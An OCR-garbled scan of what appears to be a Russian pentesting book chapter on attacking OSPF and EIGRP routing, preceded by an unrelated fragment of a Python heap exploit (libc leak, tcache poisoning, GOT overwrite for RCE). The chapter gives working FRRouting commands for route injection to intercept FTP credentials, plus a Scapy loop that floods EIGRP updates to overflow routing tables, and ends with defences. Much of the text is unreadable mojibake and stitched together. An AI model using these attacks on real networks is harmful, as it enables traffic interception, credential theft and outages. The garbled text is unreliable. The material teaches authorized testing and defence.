response = send_to_gsoapnote (free_and show)
fd pointer = struct.unpack("<Q", response) [0]
return fd pointer - 0x3ec2c0

def exploit tcache linked list (addr, value, system command) :
tcache_exploit commands = (
new_note(b'A'*8, 0x17),
delete note(0),
edit_note(struct.pack('Q', addr), 0),
new note(b'C'*8, 0x30),
new note(struct.pack('Q', value), 8),
payload (system command)
)
response = send_to_gsoapnote (tcache exploit commands)
if name_ == "' main_':
print (' [+] Stage I. Craft xml to leak libc address')
libc_addr = libc leak()
print (f'[+] libc address is {hex(libc_addr)}"')

print (' [+] Stage II. Calculate required addresess and trigger RCE')
system func_addr = libc_addr + 0x4f4e0

atoi_plt _addr = 0x6372b8

print (f'[+] system address is {hex(system func_addr) }')

print (f' [+] atoi .got.plt address is {hex(atoi plt addr)}"')

print (' [+] trigger RCE')

exploit_tcache_linked list(atoi_plt addr, system func addr, "sleep 999")
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Routing nightmare. Kak neHTecTuTb
NMPOTOKOSIbl AMHAMNYECKOW
mapuwpyTtusauumn OSPF n EIGRP

Necreas1ng

Boniie6cTBO M 04apoBaHME MPOTOKOJOB AMHAMHUYECKONW MapLIpyTH3alMHU ObiBaeT 00-
MaHYHMBbIM — aJMHMHHUCTPATOPbl UM JIOBEPAIOTCS M MOrYT 3a0bIThb O HacTpoHKe 3allUT-
HbIX CpelCTB. B 3To#i cTaTtbe sl pacckaxy, Kakue KOLIMapbl MOI'YT BO3HUKHYTb B CETH,
€CJIM aIMHMH He no3adotuics o 6ezonacHoctu fomeHoB poyTuHra OSPF n EIGRP.

BHUMAHMUE!

CraTtba MMeeT 03HaKOMUTENbHBIV XapakTep U NpegHas3HayveHa Ans cneunanuctos no 6eso-
NacHOCTW, NPOBOASALLIMX TECTUPOBaAHWE B paMkax KOHTpakTa. ABTOp U pedakuus He HecyT
OTBETCTBEHHOCTN 3a Nobon Bped, NPUYNHEHHBIA C NPUMEHEHVNEM W3MTOXEHHOW MHOPMa-
umn. PacnpocTpaHeHne BpegoHOCHbIX Nporpamm, HapylueHue paboTbl CUCTEM W Hapylue-
HWe TanHbl NEPENNCKU NpecnesyroTCsA NO 3aKOoHY.

JnHamuyeckas MapupyTH3aLus IPUMEHSETCS B KaX/10M KpyITHOM KOpNOPaTHBHOH CETH.
PoyTeps! B ceTn 00MeHHBAIOTCSl MapLIpyTHOH MHOpMaLMEH Ipyr ¢ IpyroM aBTOMaTH-
4eCKH, YTOObI aIMHUHUCTPATOP CETH He 00XOAMI UX W HE NMPOMNUCHIBAJI MapUIpyThl Bpyu-
Hy10. B OOJbLIMHCTBE CilydyaeB OH HE TPOraeT M HACTPOMKH 3aLLUHUTHBIX MEXAHH3MOB.
W 9T0 OTKpBIBAET AOPOTY JUISl IKCIUTYATALHUH.

MNPUMEYAHUE

Wmen B Bnay, 4to npotokonsl OSPF n EIGRP oTHOCATCA K knaccy NpoTOKOMOB BHYTPUAO-
MeHHOW anHamuyeckon mapwpyTtusaumm (IGP). To ecTb 3TM NPOTOKONbI UCMONL3YKOTCS NN
nepegayn mapLlpyTHOM MHOpMaLUn B Npeaenax 0gHoA aBTOHOMHONM cuctemsi (AS). Ans
ypo6cTBa MoXeLb NpeacTaBnsaTh ee cebe kak CeTb HEKOTOPOW opraHM3aumnn.

NMpobnemaTnka, UMNaKT U BOOpPYKeHune
Mpotokon OSPF

OSPF (Open Shortest Path First) oTHocuTcst K THITY TPOTOKOJIOB, OCHOBaHHbIX Ha OTCJIe-
YKHBAaHHHU COCTOsSIHUS kaHana. AtakoBatb OSPF HeMHOro clioxHee, YeM €ro poJCTBEHHHU-
ka EIGRP.
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ITomewathb 3TOMY MOI'YT AB€ BCIIH:

O nanuune Heckonbkux 30H OSPF. MHxxeHepbl MOT'YyT CIPOEKTHPOBATh JOMEH MapLIpy-
ti3auu OSPF ¢ HeckonbKHMH 30HaMH, YTOObl YMEHBIIUTh Harpy3ky Ha BBIYHCIIH-
TEJIbHBIE PECYpPChl MaplIpyTH3aTopoB. Heo6XoaMMo y4YHTBIBaTH 3TO B JOMEHE Map-
wpyTtu3auud OSPF, kak H BO3MOXHOCTb INPOXOXIEHHS MaKETOB MEXAY 3THMH 30Ha-
MHU. Hampumep, eciu Thl coOHpaenibes BBITOMHATh HHBEKLIHH MaplLIPYTOB;

O oTcyTcTBHE peakLMH Ha 3ampochl. [ MOOKIIOYEHHs K JOMEHY MaplIpyTH3alUHU He-
00X0a1MMO, 4TOOBI JIOXKHBIH MapLIPYTH3aTOP I'€HEPHUPOBal U NPUHHUMAN COOOLIEHHS
Hello OT cocelel M BOCTIPOM3BOAMI YCTAHOBIEHHE COCENCTBA C HMMH. VHaue nox-
HBIH poyTep OyneT NMpU3HaH «MEPTBBIM» M BBIMAAET U3 AOMEHA MapLIpyTH3allHH, Je-
J1asg HEBO3MOXKHBIMH JJaJIbHEHIIINE 1Iaru co CTOPOHbI aTakymoulero (puc. 12.1).

Neighbor State Neighbor State
Down Down
(R1 to R2 Link comes up ...)
RID1.1.11 it it RID2.2.2.2
Hello, Seen [null], RID 1.1.1.1 _ —
e Hello, Seen [1.1.1.1}, RID 2.2.2.2 2-way
2-way Hello, Seen [1.1.1.1,2.2.2.2} RID 1.1.1.1 N
DR Election, . Hello, DR=2.2.2.2 o DR Election,
if needed E ;; : if needed
xStart  pp (LsA Headers) o
2 DD (LSA Headers) ExStart
Exchange P DD (LSA Headers) _ Exchange
. LSR, LSU, LSAck (Full LSAs) Loading
Loading < >
Full . Full

Puc. 12.1. YcraHoeneHue coceacrtea OSPF

OnTuManbHBIA BapyHaHT 115 aTakd Ha 1oMeH OSPF — 3To nosrydeHne KOHTpOJIA Hax Jie-
TUTUMHBIM MaplIpyTH3aTOpOM B ceTH. Kak BapHaHT MOXHO Ha CBOEH CTOpOHE CO34aTh
«3JI0» BUPTYaJIbHBIA POYTEP U MOAKIIOYATHCS K ToMeHY. OnHaKo, 4TOObI MOIKITIOYHTh-
Cs K IOMEHY MapLIpyTH3alllH, aTaKyIOIIUH JOJKEH NMPOBECTH aHATH3 MYJIbTHKACTOBBIX
naketoB OSPF u u3y4uts ciieayronie napaMmeTpsl B aKkere:

O OSPF Hello Interval;
3 OSPF Dead Interval;

O Hanuuue ayTeHTH(GHUKALMH.
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Haxe HecMoTps Ha TO, yTo OSPF MoeT ObITh 3aLMIIEH C MOMOILBIO Ay TEHTH)HUKALUH H
naponH xpaHsrcs B Buie xewed MDS5, y arakyrouero ocraercs IaHC MogoOpaTh HX
(puc. 12.2).

v

5] OISPF: Pear 193 16831 140 i st B

Puc. 12.2. Naponk ot gomeHa OSPF,
B3IIOMaHHbHA C NMOMOLLbI0 MHCTPYMeHTa Loki

Mpotokon EIGRP

EIGRP (Enhanced Interior Gateway Routing Protocol) OTHOCHTCS K KJIacCy TUCTAHI[HOH-
HO-BEKTOPHBIX MpoTOoK010B. OH OBl pa3paboTan HHxeHepamu Cisco Systems B kKauecTBe
3ameHsl npotokona IGRP. Mapuipytuzatopst EIGRP o6MeHuBaroTcs MapuipyTHOH HH-
dbopmarmeit, ucrnones3ys anroput™m auddysnoro oonosnenus (DUAL) ans pacuera map-
mpyToB B pamkax oaHOi AS. EIGRP xpanut B TabiuIile MapuIpyTH3allii BCE HOCTYTHBIE
pe3epBHBIE MapUIPYTHl K CETSIM Ha3HAYEHHs, YTO MO3BOJISET B KpailHEM ciydae OBICTpO
MEePEKTIYUTHCS Ha 3anacHoi MapuipyT (puc. 12.3).

MNMPUMEYAHNE

3Haelwb Ny Tbl, 4To NpoTokon EIGRP Gonblue He nponpueTtapHbin npotokon Cisco u Tenepb
OTKPbLIT ANS ApYyrux BeHAopoB ceteBoro obopyaosaHua? EIGRP ctan oTkpbiTbiM CTaHaap-
Tom B 2013 roay, a wHdopmMaumoHHbii aokymeHT RFC 7868 (https://tools.ietf.org/
html/rfc7868) 6b1n onybnukosaH B 2016 roay.

YToOBI 370yMBIIUIEHHHK CMOT MOIKIIYHTBCA K MoMeHy MapuipyTtu3auud EIGRP, on
JIOJDKEH 3HaTh HOMEP aBTOHOMHOM CHCTEMEBI. Y3HATh €r0 OH MOXKET, HalpuMep, U3 Jamna
tpaduka B Wireshark. B otninune ot nomeHa OSPF, koTopblit MoxeT ObITh pa3iesieH Ha
HECKOJIBKO 30H MaplIpyTH3aluH, aBToHoMHas cucteMa EIGRP nnockas, To ecTs ecnu Thl
MpOBeAelIb HHBEKIHIO MaplIpyTa, CKOpee BCEro, TBOH MaplIPyT paCIpOCTPAHHUTCS MO
BCEMY IOMEHY.
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Nelghbor Discovery (Hello) - Dest. IP: 224.0.0.10

L

-

@ Full Routing Information (Update) - Dest. IP: 10.1.1.1

Acknowledgement (ACK) - Dest. IP: 10.1.1.2

i

Nelghbor Discovery (Hello) - Dest. IP: 224.0.0.10

' 9

P
L

_ Acknowledgement (ACK) - Dest.IP: 10.1.1.1

-

@ Full Routing Information (Update) - Dest.IP: 10.1.1.2

Neighborship Established

Puc. 12.3. YcraHosnenue coceactea EIGRP

UmnakT

ATak¥ Ha IHHAMHYECKYIO MaplIPyTH3allHK0 MOXKHO pa3OHTh Ha TPH THIIA!

1.

ITepeuncienue cerd. ECi 3T0yMBIIIIEHHHK TOJKIIOUNTCS K JOMEHY MaplUIpyTH3a-
LI{H, TO OH CMOXXET IIPOBECTH CETEBYIO Pa3BeIKy H OOHAPY>XUTh HEKOTOPHIE ITOACETH.
3TO AOCTAaTOYHO IOJIE3HBIN TPIOK, IIOCKOJBKY KJIACCHYECKOEe CKaHHpPOBaHHE, HaIpH-
Mep C UCIOJIB30BaHUEM Toro xe Nmap, uaet goaro. He roBops yxxe o TOM, YTO MOTYT
cpaborats cuctembl OesomacHoctd IDS/IPS. IIpocTo mpHCOeOMHHUBIIHCH K TOMEHY
MapuIpyTH3alHH, MBI CMOXEM IIOJyYHTh HHGOPMALHIO O IOACETAX, aHOHCHPYEMBIX
COCEICKHMH MaplUIpyTH3aTOpaMH. 3aMeTb, 3TOT CII0co0 BOBCE HE rapaHTHUpPYET TOro,
YTO THI CMOXeLb OOHAPY>XKUTE BCE IOACETH B Opranu3auuud. Ho MoxxeT npuBecTH Te-
051 x Oostee serkoit modeae Bo BpeMs MEHTECTA.

MITM (man in the middle). CyTs 3T0it aTaku 3ak/04aeTcs B HHbEKIMH MaplIpyTa,
4yTOOBI 3aTEM NEpEXBAaTUTh TPAaQHK C LeJIeBOro Xocra HiH xe cet. I[locne noakmoye-
HUS K JOMEHY MapLIpyTH3allii Thl MOXEIIb B JOMEHE CIeNaTh aHOHC, KOTOpPBIH Oyk-
BaJIbHO BBHITJIAOMT Tak: «YBaxkaeMble, XocT nox IP-agpecom 192.168.1.43/24 Tenepn
JoctyreH yepe3 MeHs, 192.168.1.150». MapupyTH3aTopsl B JOMEHE IIPUMYT HOBYIO
HH(OpPMALHIO M NIOMECTAT aHOHCHPOBAHHBIA TOOOH MapuipyT B TabnHIly MapLIpyTH-
3auu. CTOMT TONBKO YYHTBIBAaTh, YTO B KOHTEKCTE€ MAapIIPYTH3aLUH €CTh IOHATHE
MeTpukd. Ecnu TBOH MapupyT 1o ueHe nmyTH OyaeT Xyxe, 4eM OCTalbHbIE, TO OH He
nonazer B Tabnuuy mapupytusauud. [Touemy? IlotoMy uto B Tabnuue MapipyTH3a-
MU XpaHATCA TOJBKO JIy4IIHe ITyTH OO0 CeTeH Ha3HaueHHUs.

DoS (Denial of Service). [Iepenonsenue Tabnuup!l Mapmpytusanuy. [Ipu 3ToM y po-
yTepa HCTOLIAIOTCSA BCE PECYPChl LEHTPATBHOrO IIpoLeccopa U ONEpPaTHBHOM ITaMSATH.
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[lpu nepenonHeHUH TaOIMUbl MapLIPYTH3aUMH O100ABUTh HOBbII JIESTMTUMHBII Map-
HIPYT CTAHET HEBO3MOXHO. MaplipyTHU3aTOp HE CMOXET A00aBUTh K cede MapuipyT
HOBOH MOSIBUBILIENCS CETH.

BoopyxeHue c FRRouting

FRRouting (https://frrouting.org/) — 3T0 oneHcopcHoe pelueHue, NpejHa3HaYeHHOe
JUIsl co3/aHusi BUpTyanbHOro mapuipytusatopa B Unix/Linux. FRRouting mo3sonsier
peanu3oBaTh BUPTYaJIbHbIH MaplIpyTH3aTOp, MoAAepxHUBalowWMii 1potokonsl BGP,
OSPF, EIGRP, RIP u npyrue.

C nomouibto FRRouting MbI cMOXkeM MOAHATH Ha CBOEH CTOPOHE «3JI0i» MaplupyTH3a-
TOp, 3aMYCTHTb POYTHUHT W MOJK/IIOUUTHCS K LIEJIEBOMY JIOMEHY MaplUpyTH3aLHH. 3a4eM
3TO Hyx)HO? Hanpumep, eciin Mbl MpoOBeAEM Ty K€ MHBEKLUHMIO MaplIpyTOB 0€3 MOIKIIIo-
YEeHHs K JOMEHY M YCTAHOBJIEHUs COCEICTBA, TO AHOHCHPYEMble HAMM MaplIpyThl HE MO-
naayT B TabnuLy MaplupyTu3auuu coceaeil. OHM MPOCTO YNETAT B HUKY/A.

1ONE3HASA CChINIKA

Y FRRouting ectb otnuyHas gokymentaums:https:/ffrrouting.org/doc/ no ycraHoske u Ha-
ctpovike. CoBeTyto 03HaKOMUTLCS.

HacTtpounka FRRouting

Jlig Hauanma HaM HYXKHO aKTUBMPOBAaThb PabOTy NEMOHOB B KOH(GHrypalMOHHOM daiine
daemons. Hac MHTepecyOT AeMOHbI ospfd U eigrpd. Takke HEOOXOIHMO aKTUBUPOBAThH
padoTy eMOHa staticd, YTOOBI pEAUCTPUOYLIMS HACTPAMBAEMbIX CTATHYECKUX MapIIpY-
TOB paboTana KOPPEeKTHO.

nano /etc/frr/daemons

conf
ospfd=yes
eigrpd=yes

staticd=yes

Janee Hy>KHO Ha3HaYUTb NApOJIb s MOAK/IIOUEHHs K MaHeJH YIpaBIeHUs] MaplIpyTH3a-
Topom 4epe3 TMHUK VTY:

nano /etc/frr/frr.conf
conf
password letm3in

Takxe HeoOxoauMo pa3peluTsh hopBapaAUHT Tpaduka. [1o yMonuaHuio B 1MCcTpUOyTHBAX
Linux OoH OTKJIFOYEH.

sudo sysctl -w net.ipvd4.ip forward=1

3anyckaeMm 1eMoOH frr (puc. 12.4).

systemctl start frr
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§ . % syst i
e frr,.service - FRRouting
Loaded: loaded (/lib/systemd/system/frr.service; enabled; vendor preset: disabled)

Active: acti { runni since Fri 2022-02-18 20:49:82 +05; 27s ago
Docs: https://frrouting.readthedocs.io/en/latest/setup.html
Process: 293 ExecStart=/usr/lib/frr/frrimit.sh start (code=exited, status=6/SUCCESS)
Status: "FRR Operational”
Tasks: 11 (limit: 2312)
Memory: 23.9M
CPU: 823ms
CGroup: /system.slice/frr.service

status frr

20:49:01 kali watchfrr.sh{388]:

20:49:01 kali watchfrr.sh{390]:

20:49:01 kali watchfrr.sh{3971: ‘

20:49:02 kali watchfrr{365]: zebra state -> up : connect succeeded
20:49:02 kali watchfrr[365]: ospfd state -> up : connect succeeded
20:49:02 kali watchfrr{365]: eigrpd state -> up : connect succeeded
20:49:02 kali watchfrr(365]: staticd state -> up : connect succeeded
20:49:02 kali watchfrr[365]: all daemons up, doing startup-complete notify
20:49:02 kali frrinit.sh[293]: Started watchfrr.

20:49:02 kali systemd[1]; Started FRRouting.

N |

Puc. 12.4. Cocrosinne aemona FRRouting

C noMoLLb0 KOMaH/IbI vtysh M0MA1aeM B MaHE b YIPABICHHS BUPTYalbHbIM MapLIPYTH-
3atropom FRRouting (puc. 12.5).

a3 o
{sudo] password for coldheim:

Hello, this is FRRouting {version 7.5.1).
Copyright 1996-20085 Kunihiro Ishiguro, et al,

ksl if show version
tarouting 7.%.1 (kait).
C ght 1996-2805 Kunihire dsblgure, et al

. 646-1inuz-gnu’ ‘<-prefixi/usr® ‘--inciudedir:$iprefix}/include’
otalsta atedirs/var”~-disable-opticn-checking
efix}/1ib/x86 64=Tinux-¢ tordisa -maintsiner-mode’ ‘-~cnab aspledi o / examples/’ ~lo run/fre
usr/iin/fir’ “--sysconfd t T’ --with-vtysh-pager=/usrib 1 3 re/usr/lib/«3_64-tinux / fau Ars t
oux-gnu/frr/modules disable-dependency-tzacking’ ‘--enable-systesd:zyes enable-rpki with-libpan’ - 3 ble-doc-htm!l " ‘--enaty
le-snmp* -enable-fpm' '--disatile-protobuf’ ~disable-2eromg' '--enable- gire." able-bgp-vnc‘ ' --enable-multipath=2 --enable-userzfrr
enable-group=frr' ‘c-enable-vty-gronpsfrruty’ --enable-configfile-mask-0604" '--enable-logfile-maskzd640' ‘build_alias=x86_64-1inux-gou' 'PYTHON

o
kaliz §

Puc. 12.5. Bxog B naHenb ynpasneHus

BuptyanbHaa nabopatopus

B kawecTBe ceTeBOro mojMroHa [js rnpakTH4ECKOro pazdopa aTtak BbICTYNAT CETH, U30-
OpaxeHHbIE HAa cxeMax Huxke (puc. 12.6, 12.7, 12.8).

B kontexcte ataku Ha OSPF s paccMOTpro MHBEKLIHIO MapILpyTa C NepexBaToM Tpadu-
ka. Yto kacaercst EIGRP, — paszbepem pa3pyuinTenpHyto ataky ¢ rnepernojHeHHeM Tao-
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JIMLBI MApUIPYTH3aUHH (YTOOBI HE JEMOHCTPHPOBATh OOHY U TY XK€ aTaKy U pacCMOTPETh
nBa Bapuanra HananeHus). OSPF moxHo aTakoBath Tak e, kak 4 EIGRP. Ognako crour
YYUTBIBATh, YTO Pa3pyLIXUTEIbHBIE aTaK{ B MPOAAKIIEHE MEHEee MpaKkTHYHEL. JlyMaro, Ta-
KOH cueHapuii OyneT rmosiedeH a1 Red Team B kauecTBe OTBJIEKAIOIIEr0 MaHEBpa.

Null autentication;
OSPF Process 1;
Area 0 (backbone);

.

Gar HR

”l

Network Engineer
Goit GOt
R —
— a——
cozf, —iGos ——{c02
sw2 sSw3
DevOps Attacker FTP Server

Puc. 12.6. CeTb c ucnono3sosaHnem OSPF

Null autentication;

HR
EIGRP AS 1; =0

L]

Network Enginesr

SW2 SW3

DevOps Attacker FTP Server

Puc. 12.7. CeTb c ucnons3sosarvem EIGRP
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Device interface IP Address
R1 G0/0 10.1.1.1/24
R1 Go/3 172.20.100.254/24
R2 G0/0 10.1.1.2/24
R2 G0/2 172.20.20.254/24
R3 G0/0 10.1.1.3/24
R3 G0/2 172.20.30.254/24
DevOps EthO 172.20.20.20/24
Attacker EthO 172.20.20.50/24
FTP Server EthO 172.20.30.100/24
HR Eth0 172.20.100.70/24
Network Engineer EthO 172.20.100.80/24

Puc. 12.8. IP-agpecaums nonuroxHa

MHbeKuna MapLipyToB
n nepexsaTt Tpacdmka B gomeHe OSPF

g ycrnenrHoro npoBeAeHUs] HHBEKIMM MapLIpyTa HaM HeoOXOOMMO HOIKIIOYHTBCS K
nomeny mapupytusaudd OSPF u 06bsBUTE ceTh. YKa3biBaeM HyJIEeBYIO 30HY (area 0).
c0ldheim@kali:~$ sudo vtysh

kali# conf t

kali (config) # router ospf

kali (config-router) # network 172.20.20.50/32 area 0.0.0.0

BxuroyaeM pequcTpuOyLHIO CTATHYECKUX MApLIPYTOB C HAUMEHbLIEH METPUKOH, YTOOBI
y BHEIPEHHOro MapuipyTa Oblia camasi Hu3Kasi CTOUMOCTB (puc. 12.9).

kali (config-router)# redistribute static metric 0

AHoHcupyeM B naomeHe OSPF craruyeckuii wmapuipyt. «Xoct non IP-ampecom
172.20.20.20 teneps noctyneH yepe3 meHss — 172.20.20.50» (puc. 12.10).

kali (config) # ip route 172.20.20.20/32 ethO
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606 111.153054932 172.26.26.56 224.0.8.22 IGMPY3 54 Membership Report / Join group 224.8.6.

5 for any sources
81 111.292942348 172.26.26.58 224.8.0.22 IGHPY3 54 Mesbership Report / Join group 224.6.0.5 f

or any sources

84 113579159060 172.20.20.254 __ 224.8.6.5 0SPF 94 Hello Packet

Puc. 12.9. lamn Tpadhmka nocne noaknioYeHus
k aomeHy OSPF

Source Destinatien Protocot  Length info

133 165.3064338248 172.20.20.254 224.68.8.5 OSPF 94 Hello Packet
138 111.511248639 172.26.26.56 224.8.8.5 OSPF 82 Hello Packet
146 114.714930672 172.26.26.254 224.6.0.5 OSPF 94 Hello Packet
156 121.511677367 172.26.26.56 224.6.0.5 OSPF 82 Hello Packet
152 124.375358665 172.26.20.254 224.6.0.5 OSPF 94 Hello Packet
159 131.512929193 172.26.26.56 224.6.8.5 OSPF 82 Hello Packet
161 133.713203872 172.26.26.254 224.06.0.5 OSPF 94 Hello Packet
168 141.513267389 172.26.26.56 224.6.6.5 OSPF 82 Hello Packet
169 142.993610969 172.26.20.254 224.0.6.5 OSPF 94 Hello Packet
179 151.514324261 172.26.26.56 224.6.8.5 OSPF 82 Hello Packet
180 152.124257668 172.26.20.254 224.6.8.5 OSPF 94 Hello Packet
188 161.515366691 172.26.26.50 224.6.8.5 OSPF 82 Hello Packet
189 161.879163268 172.26.26.234 224.6.8.5 OSPF 94 Hello Packet
325686903 .0. 94 Hello Packet
.515385148 .0. 82 Hello Packet
201 171.768287859 0 A ,

Puc. 12.10. lamn Tpachmka nocne nHbekummn B gomeHe OSPF

[TpoBepum Tabmuiyy MapipyTH3aluu Ha poytepe R2.
R2#show ip route
Codes: L - local, C - connected, S - static, R - RIP, M - mobile, B - BGP
D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area
N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2
El - OSPF external type 1, E2 - OSPF external type 2°
i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2
ia - IS-IS inter area, * - candidate default, U - per-user static route
o - ODR, P - periodic downloaded static route, H - NHRP, 1 - LISP
a - application route
+ - replicated route, % - next hop override, p - overrides from PfR
Gateway of last resort is not set
10.0.0.0/8 is variably subnetted, 2 subnets, 2 masks

& 10.1.1.0/24 is directly connected, GigabitEthernet0/0

L 10.1.1.2/32 is directly connected, GigabitEthernet0/0
172.20.0.0/16 is variably subnetted, 4 subnets, 2 masks

C 172.20.20.0/24 is directly connected, GigabitEthernet0/2

0 E2 1727 20..20,920/32

[110/0] wvia 172.20.20.50, 00:02:27, GigabitEthernet0/2
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L 172.20.20.254/32 is directly connected, GigabitEthernet0/2
0 172.20.30.0/24 [110/2] via 10.1.1.3, 01:08:17, GigabitEthernet0/0
R2#

Kak Buanm, MHbeKIMs MapuipyTa npouuia ycneuiHo. Tenepb Mapuipytuzatop R2 cywura-
€T, YTO XOocT no azapecy 172.20.20.20 goctyneH yepes3 Hally aTaKyOLYH MalIHHY.

Haneuie nompodyem ¢ xocra DevOps noakmountbhess k cepBepy FTP no anmpecy
172.20.30.100 (puc. 12.11).

B8 Command Prompt - ftp 172.20.30.100 = O X

Puc. 12.11. Noaknoyexune k FTP

B uTore Mbl cMOriu BKJIMHHUTBCS MEXAY XocToMm U cepBepoMm FTP u nmepexBatuth Hesa-
WwH(poBaHHbIE YYeTHbIE NaHHbIe (puc. 12.12).

774 692.638838874 172.26.20.20 172.26.36.160 TCP 66 52417 - 21 {ACK] Seg=1 Ack=1 Win=8192 Len=6
775 692.638879356 172.26.26.56 172.26.36.160 TCR 54 52417 ~ 21 [ACK] Seq=1 Ack=1 Win=8192 Len=0
776 692.647563117 172.26.36.160 172.26.20.56 FTP 08 Response: 220 Welcome to bilah FTP service.

777 692.647546728 172.26.36.160 172.20.26.20 FTP 88 Response: 220 Welcome to blah FTP service.

778 692.677243604 172.20.20.20 172.26.36.160 FTP 68 Request: OPTS UTF8 ON

779 692.677265452 172.26.26.56 172.26.36.168 FTP 68 Request: OPTS UTF8 ON

786 692.683663482 172.26.36.160 172.26.26.56 TCP 66 21 - 52417 [ACK] Seq=35 Ack=15 Win=64256 Len=6
781 692.683642776 172.26.36.106 172.26.20.26 TCP 54 21 ~ 52417 [ACK] Sgq=35 Ack=15 Win=64256 Len=6
782 692.683612965 172.26.38.160 172.26.20.56 FTP 86 Response: ZB6 Atways in UTF8 mode. - .

783 692.683629316 172.20.36.168 172.26,20.20 FTP 86 Response: 260 Atways .in UTF8 mode.

784 692.739694676 172.26.26.20 172.20.36.168 TCP 66 52417 - 21 [ACK] Seq=15 Ack=61 Win=8132 Len=6
785 692.739735458 172.26.26.56 172.26.36.168 TCP 54 52417 - 21 [ACK] Seg=15 Ack=61 Win=8132 Len=6

Puc. 12.12. Jamn He3awwudposaHHoro FTP-Tpaduka

MHBbekuns mapupyTtoB
U nepenonHeHue Tabnuubl MapLlipyTusayum
B AomeHe EIGRP

Jlis Hauama HY»XHO MOAKJIOUHTLCS K aBTOHOMHOW cucteMe EIGRP u 00BsABHTH ceTb
(puc. 12.13).

cO0ldheim@kali:~$ sudo vtysh

kali# conf t

kali (config) # router eigrp 1

kali (config-router)# network 172.20.20.50/32



122 136629703665 17
123 136.636482223 50:00:86:
124 137.269548713 172.20.26.

134 141.618105143 172.20.20.50 4.8.0.10 TaHello

Pwuc. 12.13. [lamn Tpacuka nocne NoaKNOYEHUA
k aomeHy EIGRP

B at0T pa3 mia nesekuun mapiipytoB EIGRP s 6yay ucnons3oBaTh ceTeByro 61OmHOTE-
Ky Scapy (puc. 12.14).

cO0ldheim@kali:~$ sudo scapy3

>>> from scapy.contrib.eigrp import * # ViMnopT Momysya g paboTH C
3aroJyioBkamMm rnporoxkosa EIGRP

>>> frame = Ether(dst="01:00:5e:00:00:0a") # Cbopka kampa Ethernet c MAC-
aIpecoM HasHaueHus MyJIbTMKACTOBOM pPaCCHUIKU

>>> ip = IP(src="172.20.20.50", dst="224.0.0.10") # Cbopka IP-nakera c IP-
aIpecoM HasHaueHUs MyJIbTUMKACTOBOM pacceinky EIGRP

>>> eigrp = EIGRP (opcode=1, asn=1, seqg=0, ack=0,
tlvlist=[EIGRPExtRoute(dst=RandIP (), nexthop="172.20.20.50")]) # CbGopka nakera
EIGRP c onuument Update

>>> crafted = frame/ip/eigrp # COopka Tpex CJIO€B BOEIMHO

>>> sendp (crafted, loop=1, iface="eth0") # 3aumkmTe GECKOHEUHYI OTIpPAaBKY
COBPaHHOT'O BPEIOOHOCHOI'O naxketa EIGRP

vength Inf

5267 1256.9766392.

172.26.20.56 74 Hello
5266 1250.9710446~ 172.26.26.56 74 Hello
5269 1256.96370647- 172.26.20.56 74 Hello
5276 1256.9960549.. 172.26.26.58 74 Hello
5271 1256.9926965~ 172.26.26.56 74 Hello
5272 1251.6651601- 172.26.26.56 74 Hello
5274 1251.061684266. 172.26.26.56 74 Hello
5275 1251.61685241. 172.26.26.56 74 Hello
5276 1251.61685313. 172.26.26.56 74 Hello
5277 1251.6269556~ 172.26.26.56 74 Hello
5276 1251.6203302. 172.26.206.56 74 Hello
5279 1251.6332466- .20, 162 Update
5260 1251. 74 Hello

74 Hello
74 hl‘ln_

Pwuc. 12.14. [lamn Tpacuka nocrne UHbEKUUMN
8 nomere EIGRP

Ecnu MBI BofiieM B MaHeNnb ynpaBieHHsA MapllpyTH3aTOpa, TO yBHAHM, YTO Harpy3ka Ha
LEHTPabHbIH MPOLIECCOP 3HAYHTENBHO NOAHAIach — 10 87% (puc. 12.15, 12.16).



Puc. 12.15. Harpyaka LiIT B MOMeHT nepenonHexus

Puc. 12.16. Tabnuua mapipyTusawum nocrne nepenonHeHus
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R2#show ip route summary
IP routing table name is default (0x0)
IP routing table maximum-paths is 32

Route Source Networks Subnets Replicates Overhead Memory (bytes)
connected 0 6 0 408 1080°

static 1 0 0 68 180
application 0 0 0 0 0

eigrp 1 481 3088 0 328348 642420
internal 1192 358080

Total 1674 3094 0 328824 1001760

[pu nepenomHEeHUH TaOMMLIBI MapLIPYTH3ALHMH POYTEP HE CMOXET MOMECTHTh B CBOIO
TabIUIy MapLIpyTH3alHd HOBbIE MapIIPYTHL.

Mepbl NnpeaoTBpaLleHUs aTak
Ha AOMEHbI MapLIpyTU3aLuu

Hcnosib3oBanHe naccHBHbIX HHTepgelicoB. HacTpoiika maccHBHBIX MHTEpQEHCOB B
KOHTEKCTE€ IHHAMHYECKOW MapuIpyTH3alHH MO3BOJAET POYTEPY 3alpeTUTh PACChlIaTh
00bsABIIEHHS Yepe3 HEKOoTophle HHTepdeHchl. [To yMonyanHio 6€3 HaCTpPOHKH MacCUBHBIX
HHTEpQEHCOB OH pacchbulaeT OObABIEHHS BO BCE HHTEPQENCHI, a 3TO MOABEPraeT IOMEH
MaplIpyTH3auuy 60nbuIoMy pHUCKy. JIETHTHUMHBIN MONb30BaTeNb, HAXOAALIMHCS B CETH,
MOXET TOYHO TaK K€ MOAHATh BUPTYalbHbIH MapIIPYTH3aTOpP, KaK COENAIH Mbl ¢ TOOOH,
M aTaKoBaTh JOMEH MapUIpyTH3alHH.

MNPUMEYAHNE
B aToM mMaTepuane s OpUeHTUPYHCL Ha NpuHLMNbI U koMaHAabl Cisco 10S CLI.

[Mpumep Hactpoiiku ays OSPF:
R2#conf t # Bxon B pexym IJIOOAJNIbHOM KOHQUIypaLym
R2 (config) # router ospf 1 # Bxon B pexamM KoHOurypawm OSPF non npoueccoMm 1

R2 (config-router) # passive-interface GigabitEthernet 0/2 # Has3HauaeM uHTepdemc
NacCUBHbM

[Mpumep Hacrpoiiku s EIGRP:

R2#conf t # Bxon B pexymM IJIOOAJIbBHOM KOHQUI'ypalLyma

R2 (config) # router eigrp 1 # Bxom B pedxam KOHQurypauym EIGRP aBTOHOMHOM
cucTemsl 1

R2 (config-router) # passive-interface GigabitEthernet 0/2 # HasHauaem muTepdeiic
r1aCCUBHBIM

Hcnonb3oBanne ayreHTupukauuu. [IpuMeHeHHe ayTeHTHGHKALMU B JOMEHAaX Map-
LIPYTH3aLUH MMO3BOJIIET 00ECIIEUUTh BO3MOKHOCTh BXOJa TOJIbKO aBTOPH30BaHHBIM, Jie-
FMTUMHBIM MapuipyTu3aropaM. OQHaKo ayTeHTHQHKAILHMS HACTPAaHBAE€TCA C MMOMOLIBIO
